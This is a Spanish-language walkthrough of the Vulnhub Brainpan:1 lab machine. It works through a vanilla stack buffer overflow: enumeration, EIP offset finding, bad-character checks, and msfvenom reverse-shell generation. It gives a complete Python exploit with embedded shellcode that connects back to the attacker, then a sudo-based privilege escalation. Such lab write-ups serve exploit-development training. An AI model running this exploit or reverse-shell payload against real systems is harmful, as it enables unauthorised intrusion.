Vulnhub — Brainpan:1 VM Writeup
Primer maquina de vulnhub que tiene incluido un BoF (Stack based over flown ) Vainilla (Sin protección DEP,ASLR,Stack Canaries) , esta es una de esas maquinas “like oscp” que me recomendaron practicar, y pues aqui esta el paso a paso.
Primero identifique la dirección asignada por DHCP
nmap -sC -sV -A -p- -oN machine.nmap 192.168.32.137
En el puerto 9999, encontré este servicio:
En el puerto 10000 encontré con esto :
seguí con el proceso de enumeración.
dirb http://192.168.32.137
en el directorio /bin/ encontré un binario, el cual fue descargado.
Un ejecutable:
Para esto llevé el binario a un Windows7 x86 ,inicie el binario el cual abre el puerto 9999, mismo puerto abierto en la maquina vulnerable.
Al conectar desde linux hacia la maquina windows donde se esta ejecutando el binario aparece
Realice un par de pruebas enviando una cantidad de caracteres como parámetro y ver como reacciona el binario.
python -c 'print "A" * 200' | telnet 192.168.32.139 9999
python -c 'print "A" * 2000' | telnet 192.168.32.139 9999
Al enviarle una cadena de caracteres de 2 mil , el binario dejo de funcionar
Abrí Immunity y volví a ejecutar el binario, en Immunity presionando
Alt+F3 y buscando el nombre del proceso que se encuentra en ejecución.
Doble clic o “attach” y luego F9, volví a recrear el paso enviado 2000 bytes pero esta vez observando el stack y registros y como reaccionó el binario.
Efectivamente enviando 2000 byte se sobre-escribe la dirección de memoria a la cual apunta el registro EIP. Logrando sobre-escribir con 41414141 (AAAA)
Siguiendo el proceso de desarrollo de exploit :
Proceso de escritura de exploit:
Buscar el Crash en el binario
Controlar EIP
Determinar la cantidad de byte para sobre-escribir la dirección que apunta EIP
Determinar el espacio en byte para situar la shellcode
Seleccionar y probar una shellcode
Construir el exploit (borrador)
Eliminar caracteres “malos” (Caracteres que se encuentre en medio del shellcode, que el programa interpretara de tal forma que corte la ejecución del shellcode)
Nota: Bueno si no es el proceso correcto, un comentario permitirá corregir.
Cree una estructura básica para este tipo de exploit.
Primero se generó una cadena de caracteres que no se repiten, se puede hacer con mona.py o metasploit-framework
!mona pc 2000/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2......
Una vez enviada la cadena de caracteres, debemos buscar 35724134 , fue el patrón de caracteres que sobre-escribió la dirección de memoria donde apuntaba EIP
/usr/share/metasploit-framework/tools/exploit/pattern_offset -q 3572413
Necesite 524 para sobre-escribir la dirección de EIP, reinicie la aplicación y F9 de nuevo en immunity (Si, así es todo el tiempo jejee).
Utilizando el estilo jmp esp (mero estilo windows)
Una vez controlado EIP es necesario buscar una dirección de memoria que apunto a la instrucción “jmp esp”.
Tenemos dos opciones:
!mona jmp -r esp -m brainpan.exe
Es importante saber si los módulos del binario (dlls , propias) tienen protección contra explotación, incluso el mismo binario, para eso verifique
!mona modules
El binario no cuenta con dlls propias, y tampoco esta protegido contra explotación (mitigación), Verifique agregando un breakpoint en la dirección de memoria 0x311712f3 para corroborar que salte hasta esa dirección nuestro payload.
Buscando caracteres “malos” (Bad characters)
Se denominan “Bad Characters” a caracteres que pueden interrumpir la ejecución de una shellcode.
Generamos el bytearray el cual contiene los caracteres malos y el binario contra el comparamos, identifique los bad characters
!mona bytearray
Copiamos todo ese array generando con moma.py y enviamos a la aplicación para ver en el stack y si se copio de forma completa o de manera parcial
Luego de enviar, realizamos la comparación en el stack desde la dirección de memoria donde se copia los badchars “\x00\x01 … hasta \xff”.
!mona compare -f C:\logs\brainpan\bytearray.bin -a 0x0022FD60
al realizar la comparación, no se detecto nada en particular
Testeando la shellcode
Creamos la shellcode en formato python, por lo general siempre omito el caracter “null byte, \x00”
msfvenom -p windows/shell_reverse_tcp LPORT=444 LHOST=192.168.32.130 -b "\x00"
Cambie la shellcode para windows por una para linux
msfvenom -p linux/x86/shell_reverse_tcp LPORT=444 LHOST=192.168.32.130 -b "\x00"
quedando el exploit final de esta manera
import socket
import structbrainpain_ip= "192.168.32.137"
brainpain_port = 9999
buffer = 2000
offset_to_eip= "A" * 524
nop= "\x90" * 10
eip = struct.pack('<L',0x311712f3) # jmp es | {PAGE_EXECUTE_READ} [brainpan.exe]#msfvenom -p linux/x86/shell_reverse_tcp LPORT=444 LHOST=192.168.32.130 -f python -b "\x00"
buf = ""
buf += "\xda\xd1\xd9\x74\x24\xf4\x5a\xbe\xfe\xdf\xa7\xae\x33"
buf += "\xc9\xb1\x12\x31\x72\x17\x83\xc2\x04\x03\x8c\xcc\x45"
buf += "\x5b\x41\x28\x7e\x47\xf2\x8d\xd2\xe2\xf6\x98\x34\x42"
buf += "\x90\x57\x36\x30\x05\xd8\x08\xfa\x35\x51\x0e\xfd\x5d"
buf += "\xa2\x58\xdd\x1f\x4a\x9b\x1e\x1e\x37\x12\xff\x90\x21"
buf += "\x75\x51\x83\x1e\x76\xd8\xc2\xac\xf9\x88\x6c\x41\xd5"
buf += "\x5f\x04\xf5\x06\x8f\xb6\x6c\xd0\x2c\x64\x3c\x6b\x53"
buf += "\x38\xc9\xa6\x14"padding = buffer - (len(offset_to_eip) + len(eip)+ len(buf)+len(nop))
padding = "C" * padding
payload = offset_to_eip + eip + nop + buf + padding
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((brainpain_ip,brainpain_port))
s.send(payload)
data = s.recv(len(payload))
s.close()
print data
ponemos un nc a la escucha , ejecutamos el exploit y ya tenemos acceso (low shell)
después de varios métodos de enumeración, se verifico los binarios que pueden ser ejecutados como root sin password.
Se ejecutó el comando para ver que parámetros solicita
Utilizando el parámetro manual (man) pude escalar de privilegios
cat b.txt
A propósito aquí les dejo un excelente enlace con muchas técnicas para escalar privilegios en linux
Saludos,